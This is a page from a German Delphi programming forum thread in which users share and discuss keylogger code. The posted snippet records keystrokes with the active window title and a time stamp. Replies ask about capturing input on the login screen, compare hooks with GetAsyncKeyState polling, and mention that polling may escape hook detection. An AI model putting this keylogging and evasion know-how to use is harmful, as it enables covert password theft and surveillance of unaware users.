Delphi-PRAXiS
Seite 3 von 4     123 4      

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Win32/Win64 API (native code) (https://www.delphipraxis.net/17-win32-win64-api-native-code/)
-   -   Delphi Keylogger und diakritische Zeichen (https://www.delphipraxis.net/72651-keylogger-und-diakritische-zeichen.html)

smallsmoker 30. Apr 2008 09:07

Re: Keylogger und diakritische Zeichen
 
@tom: bei mir nicht ...
und ja es ist gewollt das es doppelt angezeigt wird dadurch kann man sehen wie lang eine taste gedrueckt wurde.
so hab ichs jetzt am ende für mich gemacht

Delphi-Quellcode:

var
  MainForm: TMainForm;
  accap:integer;

[...]

function ActiveCaption: string;
var
  Handle: THandle;
  Len: LongInt;
  Title: string;
begin
  Result := '';
  Handle := GetForegroundWindow;
  if Handle <> 0 then
    begin
    Len := GetWindowTextLength(Handle) + 1;
    SetLength(Title, Len);
    GetWindowText(Handle, PChar(Title), Len);
    ActiveCaption := TrimRight(Title);
    end;
end;

procedure TMainForm.LogKeyPress(Sender: TObject; Key: Char);
begin
if ( GetForegroundWindow <> accap ) then
  begin
  if memo1.Text <> '' then memo1.Text := memo1.Text + #13#10 + #13#10;
  memo1.Lines.Add(activecaption + ' ' +  DateToStr(Date) + ' '+ TimeToStr(Time));
  end;
Memo1.SelText:= Key;
accap := GetForegroundWindow;
end;
mfg smallsmoker

Dezipaitor 30. Apr 2008 11:46

Re: Keylogger und diakritische Zeichen
 
funktioniert der logger auch im Willkommensbildschirm???

Win32.API 30. Apr 2008 12:57

Re: Keylogger und diakritische Zeichen
 
Was haelst du vom testen?

Edit: Damit der Post nicht ganz umsonst war:
[WindowsTaste] + L
Passwort eingegeben
[Enter]

=

[+LWin]l[-Return]

xy124 30. Apr 2008 14:19

Re: Keylogger und diakritische Zeichen
 
geiles progmramm dummer weise versteh ich nichtmal die hälfte der keylogger.pas :?

könnte man das eigentlich nicht auch mit getasynckeystate machen?

toms 30. Apr 2008 14:28

Re: Keylogger und diakritische Zeichen
 
Zitat:

Zitat von xy124
könnte man das eigentlich nicht auch mit getasynckeystate machen?

Das würde sicher mehr Systemressourcen brauchen, wenn du einen Timer mit kleinem Intervall nimmst und so
GetAsyncKeyState sehr oft aufrufst. Der Hook ist Ereignis orientiert, das andere ein Polling.

xy124 30. Apr 2008 14:44

Re: Keylogger und diakritische Zeichen
 
da ich nichts von hook und polling kenne kann ich das jetzt nich beurteilen - trotzdem gefällt mir das prog weils funzt und opensource ist :-D

smallsmoker 30. Apr 2008 15:32

Re: Keylogger und diakritische Zeichen
 
polling heißt das du etwas immer wieder z.b.: mit einem timer oder einer schleife einen wert prüft das ist natürlich sehr ressourcen aufwendig,
hooks "klinken" sich in alle programem ein und "reagieren" auf tastenanschläge.
soweit habe ich es verstanden :)

mleyen 30. Apr 2008 16:01

Re: Keylogger und diakritische Zeichen
 
Zitat:

Zitat von toms
Zitat:

Zitat von xy124
könnte man das eigentlich nicht auch mit getasynckeystate machen?

Das würde sicher mehr Systemressourcen brauchen, wenn du einen Timer mit kleinem Intervall nimmst und so
GetAsyncKeyState sehr oft aufrufst. Der Hook ist Ereignis orientiert, das andere ein Polling.

Ich meine mal irgendwo gelesen zu haben, dass einige Programme so Key-hooks erkennen und blocken können. (Bin mir aber nicht sicher, werde gern des besseren belehrt)
Deswegen hab ich das bis jetzt auch immer mit getasynckeystate gemacht, das einzige mankerl ist dabei, dass man nicht weiß wie lang eine Taste gedrückt wurde und wieviele 'Anschläge' dabei flogen.

Mackhack 30. Apr 2008 16:39

Re: Keylogger und diakritische Zeichen
 
Mit einer Schleife und GetAsycKeyState hab ichs auch schonmal gemacht mit Delphi 3 oder so Annodazumal. Ging eigentlich recht gut wenn auch nicht 100 % aber was solls.

xy124 30. Apr 2008 18:06

Re: Keylogger und diakritische Zeichen
 
nochmal dumm in die reihen gefragt wenn ich das mit getasynckeystate mache, muss ich dann für jeden Buchstaben aufführen
Delphi-Quellcode:
if getasynckeystate(ord('M'))<0 then ...
?


Alle Zeitangaben in WEZ +1. Es ist jetzt 15:57 Uhr.
Seite 3 von 4     123 4      

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz